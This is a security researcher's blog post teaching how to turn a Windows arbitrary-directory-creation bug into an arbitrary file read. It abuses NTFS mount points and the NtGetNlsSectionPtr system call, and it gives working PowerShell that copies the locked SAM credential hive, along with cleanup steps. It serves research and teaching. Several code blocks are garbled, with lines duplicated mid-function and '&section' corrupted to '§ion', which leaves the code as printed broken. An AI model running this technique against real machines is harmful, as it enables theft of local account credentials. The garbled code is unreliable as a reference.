Posted by James Forshaw, Project Zero
For the past couple of months I’ve been presenting my “Introduction to Windows Logical Privilege Escalation Workshop” at a few conferences. The restriction of a 2 hour slot fails to do the topic justice and some interesting tips and tricks I would like to present have to be cut out. So as the likelihood of a full training course any time soon is pretty low, I thought I’d put together an irregular series of blog posts which detail small, self contained exploitation tricks which you can put to use if you find similar security vulnerabilities in Windows.
In this post I’m going to give a technique to go from an arbitrary directory creation vulnerability to arbitrary file read. Arbitrary direction creation vulnerabilities do exist - for example, here’s one that was in the Linux subsystem - but it’s not always obvious how you’d exploit such a bug in contrast to arbitrary file creation where a DLL is dropped somewhere. You could abuse DLL Redirection support where you create a directory calling program.exe.local to do DLL planting but that’s not always reliable as you’ll only be able to redirect DLLs not in the same directory (such as System32) and only ones which would normally go via Side-by-Side DLL loading.
For this blog we’ll use my example driver from the Workshop which already contains a vulnerable directory creation bug, and we’ll write a Powershell script to exploit it using my NtObjectManager module. The technique I’m going to describe isn’t a vulnerability, but it’s something you can use if you have a separate directory creation bug.
Quick Background on the Vulnerability Class
When dealing with files from the Win32 API you’ve got two functions, CreateFile and CreateDirectory. It would make sense that there’s a separation between the two operations. However at the Native API level there’s only ZwCreateFile, the way the kernel separates files and directories is by passing either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE to the CreateOptions parameter when calling ZwCreateFile. Why the system call is for creating a file and yet the flags are named as if Directories are the main file type I’ve no idea.
A very simple vulnerable example you might see in a kernel driver looks like the following:
NTSTATUS KernelCreateDirectory(PHANDLE Handle,
PUNICODE_STRING Path) {
IO_STATUS_BLOCK io_status = { 0 };
OBJECT_ATTRIBUTES obj_attr = { 0 };
InitializeObjectAttributes(&obj_attr, Path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
return ZwCreateFile(Handle, MAXIMUM_ALLOWED,
IO_STATUS_BLOCK io_status = { 0 };
OBJECT_ATTRIBUTES obj_attr = { 0 };
InitializeObjectAttributes(&obj_attr, Path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
return ZwCreateFile(Handle, MAXIMUM_ALLOWED,
&obj_attr, &io_status,
NULL, FILE_ATTRIBUTE_NORMAL,
NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
}
FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
}
There’s three important things to note about this code that determines whether it’s a vulnerable directory creation vulnerability. Firstly it’s passing FILE_DIRECTORY_FILE to CreateOptions which means it’s going to create a directory. Second it’s passing as the Disposition parameter FILE_OPEN_IF. This means the directory will be created if it doesn’t exist, or opened if it does. And thirdly, and perhaps most importantly, the driver is calling a Zw function, which means that the call to create the directory will default to running with kernel permissions which disables all access checks. The way to guard against this would be to pass the OBJ_FORCE_ACCESS_CHECK attribute flag in the OBJECT_ATTRIBUTES, however we can see with the flags passed to InitializeObjectAttributes the flag is not being set in this case.
Just from this snippet of code we don’t know where the destination path is coming from, it could be from the user or it could be fixed. As long as this code is running in the context of the current process (or is impersonating your user account) it doesn’t really matter. Why is running in the current user’s context so important? It ensures that when the directory is created the owner of that resource is the current user which means you can modify the Security Descriptor to give you full access to the directory. In many cases even this isn’t necessary as many of the system directories have a CREATOR OWNER access control entry which ensures that the owner gets full access immediately.
Creating an Arbitrary Directory
If you want to follow along you’ll need to setup a Windows 10 VM (doesn’t matter if it’s 32 or 64 bit) and follow the details in setup.txt from the zip file containing my Workshop driver. Then you’ll need to install the NtObjectManager Powershell Module. It’s available on the Powershell Gallery, which is an online module repository so follow the details there.
Assuming that’s all done, let’s get to work. First let’s look how we can call the vulnerable code in the driver. The driver exposes a Device Object to the user with the name \Device\WorkshopDriver (we can see the setup in the source code). All “vulnerabilities” are then exercised by sending Device IO Control requests to the device object. The code for the IO Control handling is in device_control.c and we’re specifically interested in the dispatch. The code ControlCreateDir is the one we’re looking for, it takes the input data from the user and uses that as an unchecked UNICODE_STRING to pass to the code to create the directory. If we look up the code to create the IOCTL number we find ControlCreateDir is 2, so let’s use the following PS code to create an arbitrary directory.
Import-Module NtObjectManager
# Get an IOCTL for the workshop driver.
function Get-DriverIoCtl {
Param([int]$ControlCode)
[NtApiDotNet.NtIoControlCode]::new("Unknown",`
0x800 -bor $ControlCode, "Buffered", "Any")
}
function New-Directory {
Param([string]$Filename)
# Open the device driver.
Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
# Get IOCTL for ControlCreateDir (2)
$ioctl = Get-DriverIoCtl -ControlCode 2
# Convert DOS filename to NT
$nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
$bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
$file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null
}
}
# Get an IOCTL for the workshop driver.
function Get-DriverIoCtl {
Param([int]$ControlCode)
[NtApiDotNet.NtIoControlCode]::new("Unknown",`
0x800 -bor $ControlCode, "Buffered", "Any")
}
function New-Directory {
Param([string]$Filename)
# Open the device driver.
Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
# Get IOCTL for ControlCreateDir (2)
$ioctl = Get-DriverIoCtl -ControlCode 2
# Convert DOS filename to NT
$nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
$bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
$file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null
}
}
The New-Directory function first opens the device object, converts the path to a native NT format as an array of bytes and calls the DeviceIoControl function on the device. We could just pass an integer value for control code but the NT API libraries I wrote have an NtIoControlCode type to pack up the values for you. Let’s try it and see if it works to create the directory c:\windows\abc.
It works and we’ve successfully created the arbitrary directory. Just to check we use Get-Acl to get the Security Descriptor of the directory and we can see that the owner is the ‘user’ account which means we can get full access to the directory.
Now the problem is what to do with this ability? There’s no doubt some system service which might look up in a list of directories for an executable to run or a configuration file to parse. But it’d be nice not to rely on something like that. As the title suggested instead we’ll convert this into an arbitrary file read, how might do we go about doing that?
Mount Point Abuse
If you’ve watched my talk on Abusing Windows Symbolic Links you’ll know how NTFS mount points (or sometimes Junctions) work. The $REPARSE_POINT NTFS attribute is stored with the Directory which the NTFS driver reads when opening a directory. The attribute contains an alternative native NT object manager path to the destination of the symbolic link which is passed back to the IO manager to continue processing. This allows the Mount Point to work between different volumes, but it does have one interesting consequence. Specifically the path doesn’t have to actually to point to another directory, what if we give it a path to a file?
If you use the Win32 APIs it will fail and if you use the NT apis directly you’ll find you end up in a weird paradox. If you try and open the mount point as a file the error will say it’s a directory, and if you instead try to open as a directory it will tell you it’s really a file. Turns out if you don’t specify either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE then the NTFS driver will pass its checks and the mount point can actually redirect to a file.
Perhaps we can find some system service which will open our file without any of these flags (if you pass FILE_FLAG_BACKUP_SEMANTICS to CreateFile this will also remove all flags) and ideally get the service to read and return the file data?
National Language Support
Windows supports many different languages, and in order to support non-unicode encodings still supports Code Pages. A lot is exposed through the National Language Support (NLS) libraries, and you’d assume that the libraries run entirely in user mode but if you look at the kernel you’ll find a few system calls here and there to support NLS. The one of most interest to this blog is the NtGetNlsSectionPtr system call. This system call maps code page files from the System32 directory into a process’ memory where the libraries can access the code page data. It’s not entirely clear why it needs to be in kernel mode, perhaps it’s just to make the sections shareable between all processes on the same machine. Let’s look at a simplified version of the code, it’s not a very big function:
NTSTATUS NtGetNlsSectionPtr(DWORD NlsType,
DWORD CodePage,
PVOID *SectionPointer,
PVOID *SectionPointer,
PULONG SectionSize) {
UNICODE_STRING section_name;
OBJECT_ATTRIBUTES section_obj_attr;
HANDLE section_handle;
RtlpInitNlsSectionName(NlsType, CodePage, §ion_name);
InitializeObjectAttributes(§ion_obj_attr,
UNICODE_STRING section_name;
OBJECT_ATTRIBUTES section_obj_attr;
HANDLE section_handle;
RtlpInitNlsSectionName(NlsType, CodePage, §ion_name);
InitializeObjectAttributes(§ion_obj_attr,
§ion_name,
OBJ_KERNEL_HANDLE |
OBJ_KERNEL_HANDLE |
OBJ_OPENIF |
OBJ_CASE_INSENSITIVE |
OBJ_PERMANENT);
// Open section under \NLS directory.
if (!NT_SUCCESS(ZwOpenSection(§ion_handle,
// Open section under \NLS directory.
if (!NT_SUCCESS(ZwOpenSection(§ion_handle,
SECTION_MAP_READ,
§ion_obj_attr))) {
// If no section then open the corresponding file and create section.
UNICODE_STRING file_name;
// If no section then open the corresponding file and create section.
UNICODE_STRING file_name;
OBJECT_ATTRIBUTES obj_attr;
HANDLE file_handle;
HANDLE file_handle;
RtlpInitNlsFileName(NlsType,
CodePage,
&file_name);
InitializeObjectAttributes(&obj_attr,
InitializeObjectAttributes(&obj_attr,
&file_name,
OBJ_KERNEL_HANDLE |
OBJ_KERNEL_HANDLE |
OBJ_CASE_INSENSITIVE);
ZwOpenFile(&file_handle, SYNCHRONIZE,
ZwOpenFile(&file_handle, SYNCHRONIZE,
&obj_attr, FILE_SHARE_READ, 0);
ZwCreateSection(§ion_handle, FILE_MAP_READ,
ZwCreateSection(§ion_handle, FILE_MAP_READ,
§ion_obj_attr, NULL,
PROTECT_READ_ONLY, MEM_COMMIT, file_handle);
ZwClose(file_handle);
}
// Map section into memory and return pointer.
NTSTATUS status = MmMapViewOfSection(
ZwClose(file_handle);
}
// Map section into memory and return pointer.
NTSTATUS status = MmMapViewOfSection(
section_handle,
SectionPointer,
SectionSize);
ZwClose(section_handle);
return status;
}
SectionPointer,
SectionSize);
ZwClose(section_handle);
return status;
}
The first thing to note here is it tries to open a named section object under the \NLS directory using a name generated from the CodePage parameter. To get an idea what that name looks like we’ll just list that directory:
The named sections are of the form NlsSectionCP<NUM> where NUM is the number of the code page to map. You’ll also notice there’s a section for a normalization data set. Which file gets mapped depends on the first NlsType parameter, we don’t care about normalization for the moment. If the section object isn’t found the code builds a file path to the code page file, opens it with ZwOpenFile and then calls ZwCreateSection to create a read-only named section object. Finally the section is mapped into memory and returned to the caller.
There’s two important things to note here, first the OBJ_FORCE_ACCESS_CHECK flag is not being set for the open call. This means the call will open any file even if the caller doesn’t have access to it. And most importantly the final parameter of ZwOpenFile is 0, this means neither FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE is being set. Not setting these flags will result in our desired condition, the open call will follow the mount point redirection to a file and not generate an error. What is the file path set to? We can just disassemble RtlpInitNlsFileName to find out:
void RtlpInitNlsFileName(DWORD NlsType,
DWORD CodePage,
PUNICODE_STRING String) {
if (NlsType == NLS_CODEPAGE) {
RtlStringCchPrintfW(String,
if (NlsType == NLS_CODEPAGE) {
RtlStringCchPrintfW(String,
L"\\SystemRoot\\System32\\c_%.3d.nls", CodePage);
} else {
// Get normalization path from registry.
// NOTE about how this is arbitrary registry write to file.
}
}
} else {
// Get normalization path from registry.
// NOTE about how this is arbitrary registry write to file.
}
}
The file is of the form c_<NUM>.nls under the System32 directory. Note that it uses the special symbolic link \SystemRoot which points to the Windows directory using a device path format. This prevents this code from being abused by redirecting drive letters and making it an actual vulnerability. Also note that if the normalization path is requested the information is read out from a machine registry key, so if you have an arbitrary registry value writing vulnerability you might be able to exploit this system call to get another arbitrary read, but that’s for the interested reader to investigate.
I think it’s clear now what we have to do, create a directory in System32 with the name c_<NUM>.nls, set its reparse data to point to an arbitrary file then use the NLS system call to open and map the file. Choosing a code page number is easy, 1337 is unused. But what file should we read? A common file to read is the SAM registry hive which contains logon information for local users. However access to the SAM file is usually blocked as it’s not sharable and even just opening for read access as an administrator will fail with a sharing violation. There’s of course a number of ways you can get around this, you can use the registry backup functions (but that needs admin rights) or we can pull an old copy of the SAM from a Volume Shadow Copy (which isn’t on by default on Windows 10). So perhaps let’s forget about… no wait we’re in luck.
File sharing on Windows files depends on the access being requested. For example if the caller requests Read access but the file is not shared for read access then it fails. However it’s possible to open a file for certain non-content rights, such as reading the security descriptor or synchronizing on the file object, rights which are not considered when checking the existing file sharing settings. If you look back at the code for NtGetNlsSectionPtr you’ll notice the only access right being requested for the file is SYNCHRONIZE and so will always allow the file to be opened even if locked with no sharing access.
But how can that work? Doesn’t ZwCreateSection need a readable file handle to do the read-only file mapping. Yes and no. Windows file objects do not really care whether a file is readable or writable. Access rights are associated with the handle created when the file is opened. When you call ZwCreateSection from user-mode the call eventually tries to convert the handle to a pointer to the file object. For that to occur the caller must specify what access rights need to be on the handle for it to succeed, for a read-only mapping the kernel requests the handle has Read Data access. However just as with access checking with files if the kernel calls ZwCreateSection access checking is disabled including when converting a file handle to the file object pointer. This results in ZwCreateSection succeeding even though the file handle only has SYNCHRONIZE access. Which means we can open any file on the system regardless of it’s sharing mode and that includes the SAM file.
So let’s put the final touches to this, we create the directory \SystemRoot\System32\c_1337.nls and convert it to a mount point which redirects to \SystemRoot\System32\config\SAM. Then we call NtGetNlsSectionPtr requesting code page 1337, which creates the section and returns us a pointer to it. Finally we just copy out the mapped file memory into a new file and we’re done.
$dir = "\SystemRoot\system32\c_1337.nls"
New-Directory $dir
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir `
New-Directory $dir
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir `
-Options OpenReparsePoint,DirectoryFile) {
$file.SetMountPoint($target_path, $target_path)
}
Use-NtObject($map =
$file.SetMountPoint($target_path, $target_path)
}
Use-NtObject($map =
[NtApiDotNet.NtLocale]::GetNlsSectionPtr("CodePage", 1337)) {
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
$map.GetStream().CopyTo($output)
Write-Host "Copied file"
}
}
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
$map.GetStream().CopyTo($output)
Write-Host "Copied file"
}
}
Loading the created file in a hex editor shows we did indeed steal the SAM file.
For completeness we’ll clean up our mess. We can just delete the directory by opening the directory file with the Delete On Close flag and then closing the file (making sure to open it as a reparse point otherwise you’ll try and open the SAM again). For the section as the object was created in our security context (just like the directory) and there was no explicit security descriptor then we can open it for DELETE access and call ZwMakeTemporaryObject to remove the permanent reference count set by the original creator with the OBJ_PERMANENT flag.
Use-NtObject($sect = Get-NtSection \nls\NlsSectionCP1337 `
-Access Delete) {
# Delete permanent object.
$sect.MakeTemporary()
}
-Access Delete) {
# Delete permanent object.
$sect.MakeTemporary()
}
Wrap-Up
What I’ve described in this blog post is not a vulnerability, although certainly the code doesn’t seem to follow best practice. It’s a system call which hasn’t changed since at least Windows 7 so if you find yourself with an arbitrary directory creation vulnerability you should be able to use this trick to read any file on the system regardless of whether it’s already open or shared. I’ve put the final script on GITHUB at this link if you want the final version to get a better understanding of how it works.
It’s worth keeping a log of any unusual behaviours when you’re reverse engineering a product in case it becomes useful as I did in this case. Many times I’ve found code which isn’t itself a vulnerability but have has some useful properties which allow you to build out exploitation chains.
No comments:
Post a Comment